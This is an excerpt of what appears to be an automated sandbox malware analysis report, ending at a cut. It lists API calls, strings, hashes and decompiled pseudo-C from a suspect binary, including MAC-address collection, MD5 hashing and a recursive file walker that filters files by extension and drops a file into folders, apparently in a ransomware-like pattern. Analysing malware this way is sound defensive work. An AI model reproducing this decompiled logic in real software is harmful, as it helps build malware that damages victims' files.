CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,?,?,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E0040E670(void* __ebx, void* __ecx, void* __eflags) {
				char _v8;
				void* __edi;
				void* __esi;
				void* __ebp;
				char* _t14;
				char* _t15;
				void* _t35;
				void* _t36;
				void* _t37;
				char* _t41;
				void* _t44;
				void* _t45;

				_t33 = __ebx;
				_push(_t36);
				_v8 = 0x288;
				_t37 = E00420C62(__ebx, _t35, _t36, 0x12);
				_t41 = E00420C62(__ebx, _t35, _t37, 0x288);
				_t45 = _t44 + 8;
				_t49 = _t41;
				if(_t41 != 0) {
					_t14 =  &_v8;
					__imp__GetAdaptersInfo(_t41, _t14);
					__eflags = _t14 - 0x6f;
					if(_t14 != 0x6f) {
						L4:
						_t15 =  &_v8;
						__imp__GetAdaptersInfo(_t41, _t15);
						__eflags = _t15;
						if(_t15 == 0) {
							_push( *(_t41 + 0x199) & 0x000000ff);
							_push( *(_t41 + 0x198) & 0x000000ff);
							_push( *(_t41 + 0x197) & 0x000000ff);
							_push( *(_t41 + 0x196) & 0x000000ff);
							_push( *(_t41 + 0x195) & 0x000000ff);
							E004204A6(_t37, "%02X:%02X:%02X:%02X:%02X:%02X",  *(_t41 + 0x194) & 0x000000ff);
							_push(_t37);
							_t11 = _t41 + 0x1b0; // 0x1b0
							_push("Address: %s, mac: %s\n");
							E00421F2D(_t33, _t37, _t41, __eflags);
							_push("\n");
							E00421F2D(_t33, _t37, _t41, __eflags);
							_t45 = _t45 + 0x30;
						}
						E00420BED(_t41);
						return _t37;
					} else {
						E00420BED(_t41);
						_t41 = E00420C62(_t33, _t35, _t37, _v8);
						_t45 = _t45 + 8;
						__eflags = _t41;
						if(__eflags == 0) {
							goto L1;
						} else {
							goto L4;
						}
					}
				} else {
					L1:
					_push("Error allocating memory needed to call GetAdaptersinfo\n");
					E00421F2D(_t33, _t37, _t41, _t49);
					E00420BED(_t37);
					return 0;
				}
			}

0x0040e670
0x0040e675
0x0040e678
0x0040e689
0x0040e690
0x0040e692
0x0040e695
0x0040e697
0x0040e6b4
0x0040e6b9
0x0040e6bf
0x0040e6c2
0x0040e6db
0x0040e6db
0x0040e6e0
0x0040e6e6
0x0040e6e8
0x0040e6f1
0x0040e6f9
0x0040e701
0x0040e709
0x0040e711
0x0040e720
0x0040e725
0x0040e726
0x0040e72d
0x0040e732
0x0040e737
0x0040e73c
0x0040e741
0x0040e741
0x0040e745
0x0040e754
0x0040e6c4
0x0040e6c5
0x0040e6d2
0x0040e6d4
0x0040e6d7
0x0040e6d9
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e6d9
0x0040e699
0x0040e699
0x0040e699
0x0040e69e
0x0040e6a4
0x0040e6b3
0x0040e6b3

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00780000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A
Address: %s, mac: %s, xrefs: 0040E72D
Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 3901070236-1604013687
Opcode ID: 3662c7b498418dd0805699ed7e156d37d96e3abec8e0c242f5b97c865e313c7a
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: 3662c7b498418dd0805699ed7e156d37d96e3abec8e0c242f5b97c865e313c7a
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Uniqueness

Uniqueness Score: -1.00%

Function 00410160 Relevance: 26.2, APIs: 17, Instructions: 660
COMMONCrypto

Download Yara Rule

C-Code - Quality: 75%

			E00410160(intOrPtr __ecx, intOrPtr* __edx, char _a4, intOrPtr _a24, intOrPtr _a28) {
				signed int _v8;
				intOrPtr _v16;
				signed int _v20;
				signed int _v24;
				char _v40;
				signed int _v44;
				signed int _v48;
				signed int _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				signed int _v76;
				signed int _v80;
				char _v96;
				signed int _v100;
				signed int _v104;
				WCHAR* _v108;
				short _v120;
				signed int _v124;
				signed int _v128;
				char _v144;
				intOrPtr* _v148;
				struct _WIN32_FIND_DATAW _v740;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t270;
				intOrPtr _t280;
				WCHAR* _t288;
				short _t291;
				signed int _t293;
				signed int _t294;
				signed int _t298;
				signed int _t299;
				intOrPtr _t303;
				WCHAR* _t308;
				void* _t309;
				void* _t313;
				void* _t330;
				signed int _t334;
				WCHAR* _t335;
				WCHAR* _t346;
				WCHAR* _t348;
				void* _t405;
				void* _t411;
				intOrPtr _t413;
				intOrPtr _t414;
				void* _t415;
				intOrPtr* _t418;
				signed int _t420;
				intOrPtr* _t423;
				signed int _t425;
				char* _t431;
				char* _t432;
				intOrPtr* _t434;
				signed int _t436;
				intOrPtr* _t439;
				intOrPtr* _t441;
				short* _t445;
				short* _t447;
				signed int _t450;
				signed int _t453;
				WCHAR* _t454;
				short* _t455;
				signed int _t460;
				intOrPtr* _t468;
				void* _t470;
				void* _t471;
				void* _t472;
				intOrPtr _t475;
				intOrPtr _t476;
				signed int _t477;
				signed int _t480;
				void* _t481;
				void* _t482;
				WCHAR* _t484;
				intOrPtr _t490;
				signed int* _t491;
				void* _t492;
				WCHAR* _t494;
				short _t495;
				intOrPtr _t496;
				void* _t497;
				void* _t498;
				short* _t501;
				short* _t502;
				void* _t503;
				short* _t504;

				_push(0xffffffff);
				_push(0x4cab68);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t496;
				_t497 = _t496 - 0x2d4;
				_t410 = __edx;
				_v72 = __ecx;
				_v148 = __edx;
				_v8 = 0;
				E00411AB0();
				_t480 = 0;
				_t490 = (0x2aaaaaab * ( *((intOrPtr*)(__edx + 4)) -  *__edx) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * ( *((intOrPtr*)(__edx + 4)) -  *__edx) >> 0x20 >> 2);
				_v68 = _t490;
				if(_t490 == 0) {
					L15:
					_v76 = 7;
					_v80 = 0;
					_v96 = 0;
					_v8 = 3;
					_push(0xffffffff);
					_v44 = 7;
					 *((intOrPtr*)(_v72 + 0x8bc)) = 1;
					_v64 = 0;
					_v48 = 0;
					E00414690(_t410,  &_v64,  &_a4, 0);
					_v8 = 4;
					_t411 = PathFindFileNameW;
					_t267 =  >=  ? _v64 :  &_v64;
					_t468 = PathFindFileNameW( >=  ? _v64 :  &_v64);
					_v20 = 7;
					_v24 = 0;
					_v40 = 0;
					if( *_t468 != 0) {
						_t418 = _t468;
						_t79 = _t418 + 2; // 0x2
						_t490 = _t79;
						do {
							_t270 =  *_t418;
							_t418 = _t418 + 2;
						} while (_t270 != 0);
						_t420 = _t418 - _t490 >> 1;
						L24:
						_push(_t420);
						E00415C10(_t411,  &_v40, _t480, _t490, _t468);
						_v8 = 5;
						_t491 = E00413520( &_v64,  &_v144, 0, _v48 - _v24);
						if( &_v64 != _t491) {
							if(_v44 >= 8) {
								L00422587(_v64);
								_t497 = _t497 + 4;
							}
							_v44 = 7;
							_v48 = 0;
							_v64 = 0;
							if(_t491[5] >= 8) {
								_v64 =  *_t491;
								 *_t491 = 0;
							} else {
								_t384 = _t491[4] + 1;
								if(_t491[4] + 1 != 0) {
									E004205A0( &_v64, _t491, _t384 + _t384);
									_t497 = _t497 + 0xc;
								}
							}
							_v48 = _t491[4];
							_v44 = _t491[5];
							_t491[5] = 7;
							_t491[4] = 0;
							 *_t491 = 0;
						}
						if(_v124 >= 8) {
							L00422587(_v144);
							_t497 = _t497 + 4;
						}
						_t481 = 0;
						while(_v48 != 0 || _v24 != 0) {
							_t481 = _t481 + 1;
							_t278 =  >=  ? _v64 :  &_v64;
							_t468 = PathFindFileNameW( >=  ? _v64 :  &_v64);
							if( *_t468 != 0) {
								_t423 = _t468;
								_t109 = _t423 + 2; // 0x2
								_t491 = _t109;
								do {
									_t280 =  *_t423;
									_t423 = _t423 + 2;
								} while (_t280 != 0);
								_t425 = _t423 - _t491 >> 1;
								L42:
								_push(_t425);
								E00415C10(_t411,  &_v40, _t481, _t491, _t468);
								_t491 = E00413520( &_v64,  &_v144, 0, _v48 - _v24);
								if( &_v64 != _t491) {
									if(_v44 >= 8) {
										L00422587(_v64);
										_t497 = _t497 + 4;
									}
									_v44 = 7;
									_v48 = 0;
									_v64 = 0;
									if(_t491[5] >= 8) {
										_v64 =  *_t491;
										 *_t491 = 0;
									} else {
										_t372 = _t491[4] + 1;
										if(_t491[4] + 1 != 0) {
											E004205A0( &_v64, _t491, _t372 + _t372);
											_t497 = _t497 + 0xc;
										}
									}
									_v48 = _t491[4];
									_v44 = _t491[5];
									_t491[5] = 7;
									_t491[4] = 0;
									 *_t491 = 0;
								}
								if(_v124 >= 8) {
									L00422587(_v144);
									_t497 = _t497 + 4;
								}
								continue;
							}
							_t425 = 0;
							goto L42;
						}
						if(_t481 > 3) {
							L73:
							if(_v20 >= 8) {
								L00422587(_v40);
								_t497 = _t497 + 4;
							}
							_v8 = 3;
							_v20 = 7;
							_v24 = 0;
							_v40 = 0;
							if(_v44 >= 8) {
								L00422587(_v64);
								_t497 = _t497 + 4;
							}
							_t288 = E00417140( &_v144,  &_a4, "*");
							_t498 = _t497 + 4;
							if(_t288[0xa] >= 8) {
								_t288 =  *_t288;
							}
							_t482 = FindFirstFileW(_t288,  &_v740);
							if(_v124 >= 8) {
								L00422587(_v144);
								_t498 = _t498 + 4;
							}
							_v124 = 7;
							_t492 = 0;
							_v128 = 0;
							_v144 = 0;
							if(_t482 == 0xffffffff) {
								L119:
								if(_v76 >= 8) {
									L00422587(_v96);
									_t498 = _t498 + 4;
								}
								_t291 = 0;
								_v76 = 7;
								_v80 = 0;
								_v96 = 0;
								goto L122;
							} else {
								_t413 = _a28;
								do {
									_t431 = ".";
									_t293 =  &(_v740.cFileName);
									while(1) {
										_t470 =  *_t293;
										if(_t470 !=  *_t431) {
											break;
										}
										if(_t470 == 0) {
											L88:
											_t294 = 0;
											L90:
											if(_t294 == 0) {
												goto L117;
											}
											_t432 = L"..";
											_t298 =  &(_v740.cFileName);
											while(1) {
												_t471 =  *_t298;
												if(_t471 !=  *_t432) {
													break;
												}
												if(_t471 == 0) {
													L96:
													_t299 = 0;
													L98:
													if(_t299 == 0) {
														goto L117;
													}
													if((_v740.dwFileAttributes & 0x00000010) == 0) {
														_t492 = _t492 + 1;
														if(_t492 >= 0x400) {
															_t492 = 0;
															E00411AB0();
														}
														_v20 = 7;
														_push(0xffffffff);
														_v40 = 0;
														_v24 = 0;
														E00414690(_t413,  &_v40,  &_a4, 0);
														_v8 = 9;
														if(_v740.cFileName != 0) {
															_t434 =  &(_v740.cFileName);
															_t231 = _t434 + 2; // 0x2
															_t472 = _t231;
															do {
																_t303 =  *_t434;
																_t434 = _t434 + 2;
															} while (_t303 != 0);
															_t436 = _t434 - _t472 >> 1;
															goto L108;
														} else {
															_t436 = 0;
															L108:
															_push(_t436);
															E00415AE0(_t413,  &_v40, _t482, _t492,  &(_v740.cFileName));
															_t307 =  >=  ? _v40 :  &_v40;
															_t308 = PathFindExtensionW( >=  ? _v40 :  &_v40);
															_t439 = _v72 + 0x868;
															if( *((intOrPtr*)(_t439 + 0x14)) >= 8) {
																_t439 =  *_t439;
															}
															_push(_t308);
															_push(_t439);
															_t309 = E00421C02(_t439);
															_t498 = _t498 + 8;
															if(_t309 == 0) {
																_t441 = _v72 + 0x820;
																if( *((intOrPtr*)(_t441 + 0x14)) >= 8) {
																	_t441 =  *_t441;
																}
																_push(_t441);
																_t312 =  >=  ? _v40 :  &_v40;
																_push( >=  ? _v40 :  &_v40);
																_t313 = E00421C02(_t441);
																_t498 = _t498 + 8;
																if(_t313 == 0) {
																	E004136C0(_t413,  &_v40);
																}
															}
															L115:
															_v8 = 3;
															if(_v20 >= 8) {
																L00422587(_v40);
																_t498 = _t498 + 4;
															}
															goto L117;
														}
													}
													E00417140( &_v40,  &_a4,  &(_v740.cFileName));
													_push(1);
													_v8 = 8;
													E00415AE0(_t413,  &_v40, _t482, _t492, "\\");
													_push(_t413);
													_t501 = _t498 + 4 - 0x18;
													_t445 = _t501;
													_push(0xffffffff);
													 *(_t445 + 0x14) = 7;
													 *(_t445 + 0x10) = 0;
													 *_t445 = 0;
													E00414690(_t413, _t445,  &_v40, 0);
													E00410160(_v72, _v148);
													_t498 = _t501 + 0x1c;
													goto L115;
												}
												_t475 =  *((intOrPtr*)(_t298 + 2));
												_t209 =  &(_t432[2]); // 0x2e
												if(_t475 !=  *_t209) {
													break;
												}
												_t298 = _t298 + 4;
												_t432 =  &(_t432[4]);
												if(_t475 != 0) {
													continue;
												}
												goto L96;
											}
											asm("sbb eax, eax");
											_t299 = _t298 | 0x00000001;
											goto L98;
										}
										_t476 =  *((intOrPtr*)(_t293 + 2));
										_t206 =  &(_t431[2]); // 0x2e0000
										if(_t476 !=  *_t206) {
											break;
										}
										_t293 = _t293 + 4;
										_t431 =  &(_t431[4]);
										if(_t476 != 0) {
											continue;
										}
										goto L88;
									}
									asm("sbb eax, eax");
									_t294 = _t293 | 0x00000001;
									goto L90;
									L117:
								} while (FindNextFileW(_t482,  &_v740) != 0);
								FindClose(_t482);
								goto L119;
							}
						}
						_t502 = _t497 - 0x18;
						_t447 = _t502;
						_push(0xffffffff);
						 *(_t447 + 0x14) = 7;
						 *(_t447 + 0x10) = 0;
						 *_t447 = 0;
						E00414690(_t411, _t447,  &_a4, 0);
						_t330 = E0040F310(_t481, _t491);
						_t497 = _t502 + 0x18;
						if(_t330 != 0) {
							goto L73;
						}
						_push(0xffffffff);
						E00414690(_t411,  &_v96,  &_a4, 0);
						E00413A90(_t411,  &_v108, _t481, 0x400);
						_v8 = 6;
						_t450 = 0;
						_t334 = _v80;
						_t494 = _v108;
						if(_t334 == 0) {
							L57:
							_t414 = _v72;
							 *((short*)(_t494 + 2 + _t334 * 2)) = 0;
							_t335 = _t414 + 0x820;
							if(_t335[0xa] >= 8) {
								_t335 =  *_t335;
							}
							PathAppendW(_t494, _t335);
							_push(_v68);
							_v124 = 7;
							_v128 = 0;
							_v144 = 0;
							E00418400( &_v144, _t494, _v104);
							if(_v76 >= 8) {
								L00422587(_v96);
								_t497 = _t497 + 4;
							}
							_t453 = _v124;
							_v76 = 7;
							_v80 = 0;
							_v96 = 0;
							if(_t453 >= 8) {
								_v96 = _v144;
							} else {
								_t356 = _v128 + 1;
								if(_v128 + 1 != 0) {
									E004205A0( &_v96,  &_v144, _t356 + _t356);
									_t453 = _v124;
									_t497 = _t497 + 0xc;
								}
							}
							_v80 = _v128;
							_t343 =  >=  ? _v96 :  &_v96;
							_v76 = _t453;
							if(PathFileExistsW( >=  ? _v96 :  &_v96) == 0) {
								_t346 = E00420C62(_t414, _t468, _t481, 0x7d00);
								_t454 = _t414 + 0x838;
								_t503 = _t497 + 4;
								_t484 = _t346;
								if(_t454[0xa] >= 8) {
									_t454 =  *_t454;
								}
								lstrcpyW(_t484, _t454);
								_t348 = _t414 + 0x850;
								if( *((intOrPtr*)(_t414 + 0x864)) >= 8) {
									_t348 =  *_t348;
								}
								lstrcatW(_t484, _t348);
								_t504 = _t503 - 0x18;
								_t455 = _t504;
								_push(0xffffffff);
								 *(_t455 + 0x14) = 7;
								 *(_t455 + 0x10) = 0;
								 *_t455 = 0;
								E00414690(_t414, _t455,  &_v96, 0);
								E0040F0E0(_t484);
								E00420BED(_t484);
								_t497 = _t504 + 0x1c;
							}
							if(_t494 != 0) {
								L00422587(_t494);
								_t497 = _t497 + 4;
							}
							goto L73;
						}
						do {
							_t363 =  >=  ? _v96 :  &_v96;
							_t494[_t450] = ( >=  ? _v96 :  &_v96)[_t450];
							_t450 = _t450 + 1;
							_t334 = _v80;
						} while (_t450 < _t334);
						goto L57;
					}
					_t420 = 0;
					goto L24;
				} else {
					_t415 = 0;
					do {
						_v20 = 7;
						_push(0xffffffff);
						_v40 = 0;
						_v24 = 0;
						E00414690(_t415,  &_v40,  &_a4, 0);
						_v8 = 1;
						_push(0xffffffff);
						_v120 = 0;
						_v100 = 7;
						_v104 = 0;
						E00414690(_t415,  &_v120,  *_v148 + _t415, 0);
						_v8 = 2;
						_t477 = _v24;
						if(_t477 <= 1) {
							L10:
							if(_v100 >= 8) {
								L00422587(_v120);
								_t497 = _t497 + 4;
							}
							_v100 = 7;
							_v8 = 0;
							_v104 = 0;
							_v120 = 0;
							if(_v20 >= 8) {
								L00422587(_v40);
								_t497 = _t497 + 4;
							}
							goto L14;
						}
						_t460 = _v104;
						if(_t460 <= 1) {
							goto L10;
						} else {
							_t400 =  >=  ? _v40 :  &_v40;
							if( *((short*)(( >=  ? _v40 :  &_v40) + _t477 * 2 - 2)) != 0x5c) {
								_push(1);
								E00415AE0(_t415,  &_v40, _t480, _t490, "\\");
								_t460 = _v104;
							}
							_t495 = _v120;
							_t402 =  >=  ? _t495 :  &_v120;
							if( *((short*)(( >=  ? _t495 :  &_v120) + _t460 * 2 - 2)) != 0x5c) {
								_push(1);
								E00415AE0(_t415,  &_v120, _t480, _t495, "\\");
								_t495 = _v120;
							}
							_t462 =  >=  ? _t495 :  &_v120;
							_t404 =  >=  ? _v40 :  &_v40;
							_t405 = E00420235(_t415, _t480, _t495,  >=  ? _v40 :  &_v40,  >=  ? _t495 :  &_v120);
							_t498 = _t497 + 8;
							if(_t405 == 0) {
								if(_v100 >= 8) {
									L00422587(_v120);
									_t498 = _t498 + 4;
								}
								_t291 = 0;
								_v100 = 7;
								_v104 = 0;
								_v120 = 0;
								if(_v20 >= 8) {
									_t291 = L00422587(_v40);
									_t498 = _t498 + 4;
								}
								L122:
								if(_a24 >= 8) {
									_t291 = L00422587(_a4);
								}
								 *[fs:0x0] = _v16;
								return _t291;
							} else {
								_t490 = _v68;
								goto L10;
							}
						}
						L14:
						_t480 = _t480 + 1;
						_t415 = _t415 + 0x18;
					} while (_t480 < _t490);
					goto L15;
				}
			}

0x00410163
0x00410165
0x00410170
0x00410171
0x00410178
0x00410180
0x00410182
0x00410186
0x0041018c
0x00410193
0x004101a2
0x004101b1
0x004101b3
0x004101b6
0x004102e8
0x004102ea
0x004102f1
0x004102f8
0x00410302
0x00410306
0x00410308
0x0041030f
0x0041031c
0x00410324
0x0041032b
0x00410330
0x0041033b
0x00410341
0x00410348
0x0041034a
0x00410353
0x0041035a
0x00410361
0x004103a6
0x004103a8
0x004103a8
0x004103b0
0x004103b0
0x004103b3
0x004103b6
0x004103bd
0x004103bf
0x004103bf
0x004103c4
0x004103c9
0x004103e5
0x004103ec
0x004103f2
0x004103f7
0x004103fc
0x004103fc
0x00410401
0x00410408
0x0041040f
0x00410417
0x00410433
0x00410436
0x00410419
0x0041041c
0x0041041d
0x00410427
0x0041042c
0x0041042c
0x0041041d
0x0041043f
0x00410445
0x0041044a
0x00410451
0x00410458
0x00410458
0x0041045f
0x00410467
0x0041046c
0x0041046c
0x0041046f
0x00410471
0x00410481
0x00410489
0x00410490
0x00410496
0x0041049c
0x0041049e
0x0041049e
0x004104a1
0x004104a1
0x004104a4
0x004104a7
0x004104ae
0x004104b0
0x004104b0
0x004104b5
0x004104d2
0x004104d9
0x004104df
0x004104e4
0x004104e9
0x004104e9
0x004104ee
0x004104f5
0x004104fc
0x00410504
0x00410520
0x00410523
0x00410506
0x00410509
0x0041050a
0x00410514
0x00410519
0x00410519
0x0041050a
0x0041052c
0x00410532
0x00410537
0x0041053e
0x00410545
0x00410545
0x0041054c
0x00410558
0x0041055d
0x0041055d
0x00000000
0x0041054c
0x00410498
0x00000000
0x00410498
0x00410568
0x00410728
0x0041072c
0x00410731
0x00410736
0x00410736
0x0041073b
0x00410743
0x0041074a
0x00410751
0x00410755
0x0041075a
0x0041075f
0x0041075f
0x00410770
0x00410775
0x0041077c
0x0041077e
0x0041077e
0x00410792
0x00410794
0x0041079c
0x004107a1
0x004107a1
0x004107a6
0x004107ad
0x004107af
0x004107b6
0x004107c0
0x004109c7
0x004109cb
0x004109d0
0x004109d5
0x004109d5
0x004109d8
0x004109da
0x004109e1
0x004109e8
0x00000000
0x004107c6
0x004107c6
0x004107d0
0x004107d0
0x004107d5
0x004107e0
0x004107e0
0x004107e6
0x00000000
0x00000000
0x004107eb
0x00410802
0x00410802
0x0041080b
0x0041080d
0x00000000
0x00000000
0x00410813
0x00410818
0x00410820
0x00410820
0x00410826
0x00000000
0x00000000
0x0041082b
0x00410842
0x00410842
0x0041084b
0x0041084d
0x00000000
0x00000000
0x0041085a
0x004108bf
0x004108c6
0x004108c8
0x004108ca
0x004108ca
0x004108d1
0x004108d8
0x004108db
0x004108e5
0x004108ed
0x004108f2
0x004108fe
0x00410904
0x0041090a
0x0041090a
0x00410910
0x00410910
0x00410913
0x00410916
0x0041091d
0x00000000
0x00410900
0x00410900
0x0041091f
0x0041091f
0x0041092a
0x00410936
0x0041093b
0x00410944
0x0041094e
0x00410950
0x00410950
0x00410952
0x00410953
0x00410954
0x00410959
0x0041095e
0x00410963
0x0041096d
0x0041096f
0x0041096f
0x00410978
0x00410979
0x0041097d
0x0041097e
0x00410983
0x00410988
0x00410990
0x00410990
0x00410988
0x00410995
0x00410995
0x0041099d
0x004109a2
0x004109a7
0x004109a7
0x00000000
0x0041099d
0x004108fe
0x00410869
0x00410871
0x0041087b
0x0041087f
0x00410884
0x00410885
0x0041088a
0x0041088c
0x0041088e
0x00410895
0x0041089d
0x004108a4
0x004108b2
0x004108b7
0x00000000
0x004108b7
0x0041082d
0x00410831
0x00410835
0x00000000
0x00000000
0x00410837
0x0041083a
0x00410840
0x00000000
0x00000000
0x00000000
0x00410840
0x00410846
0x00410848
0x00000000
0x00410848
0x004107ed
0x004107f1
0x004107f5
0x00000000
0x00000000
0x004107f7
0x004107fa
0x00410800
0x00000000
0x00000000
0x00000000
0x00410800
0x00410806
0x00410808
0x00000000
0x004109aa
0x004109b8
0x004109c1
0x00000000
0x004109c1
0x004107c0
0x0041056e
0x00410573
0x00410575
0x00410577
0x0041057e
0x00410586
0x0041058d
0x00410592
0x00410597
0x0041059c
0x00000000
0x00000000
0x004105a2
0x004105ad
0x004105ba
0x004105bf
0x004105c3
0x004105c5
0x004105c8
0x004105cd
0x004105eb
0x004105eb
0x004105f0
0x004105f5
0x004105ff
0x00410601
0x00410601
0x00410605
0x0041060b
0x00410610
0x00410620
0x00410628
0x0041062f
0x00410638
0x0041063d
0x00410642
0x00410642
0x00410645
0x0041064a
0x00410651
0x00410658
0x0041065f
0x00410688
0x00410661
0x00410664
0x00410665
0x00410675
0x0041067a
0x0041067d
0x0041067d
0x00410665
0x00410691
0x00410697
0x0041069c
0x004106a7
0x004106ae
0x004106b3
0x004106b9
0x004106c0
0x004106c2
0x004106c4
0x004106c4
0x004106c8
0x004106d5
0x004106db
0x004106dd
0x004106dd
0x004106e1
0x004106e7
0x004106ec
0x004106ee
0x004106f0
0x004106f7
0x004106ff
0x00410706
0x0041070d
0x00410713
0x00410718
0x00410718
0x0041071d
0x00410720
0x00410725
0x00410725
0x00000000
0x0041071d
0x004105d0
0x004105d7
0x004105df
0x004105e3
0x004105e4
0x004105e7
0x00000000
0x004105d0
0x00410363
0x00000000
0x004101bc
0x004101bc
0x004101c0
0x004101c2
0x004101c9
0x004101cc
0x004101d6
0x004101de
0x004101eb
0x004101ef
0x004101f6
0x004101fe
0x00410205
0x0041020c
0x00410211
0x00410215
0x0041021b
0x004102a3
0x004102a7
0x004102ac
0x004102b1
0x004102b1
0x004102b6
0x004102bd
0x004102c4
0x004102cb
0x004102cf
0x004102d4
0x004102d9
0x004102d9
0x00000000
0x004102cf
0x00410221
0x00410227
0x00000000
0x00410229
0x00410230
0x0041023a
0x0041023c
0x00410246
0x0041024b
0x0041024b
0x00410254
0x0041025a
0x00410263
0x00410265
0x0041026f
0x00410277
0x00410277
0x00410283
0x0041028b
0x00410290
0x00410295
0x0041029a
0x0041036b
0x00410370
0x00410375
0x00410375
0x00410378
0x0041037a
0x00410385
0x0041038c
0x00410390
0x00410399
0x0041039e
0x0041039e
0x004109ec
0x004109f0
0x004109f5
0x004109fa
0x00410a02
0x00410a0d
0x004102a0
0x004102a0
0x00000000
0x004102a0
0x0041029a
0x004102dc
0x004102dc
0x004102dd
0x004102e0
0x00000000
0x004101c0

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32 ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32 ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32 ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000), ref: 00410346
_memmove.LIBCMT ref: 00410427
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0041048E
_memmove.LIBCMT ref: 00410514

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 5579d069003674f30fc20657d67551341dfb12f417424f211cabcd1385ef9a93
Instruction ID: 4d52a43d2e6eeb98f1fe08e229a92f838bd03635929547cf71b8ba18611ce854
Opcode Fuzzy Hash: 5579d069003674f30fc20657d67551341dfb12f417424f211cabcd1385ef9a93
Instruction Fuzzy Hash: EF429F70D00208DBDF14DFA4C985BDEB7F5BF04308F20456EE415A7291E7B9AA85CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004382A2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E004382A2(short _a4, intOrPtr _a8) {
				short _t13;
				short _t28;

				_t28 = _a4;
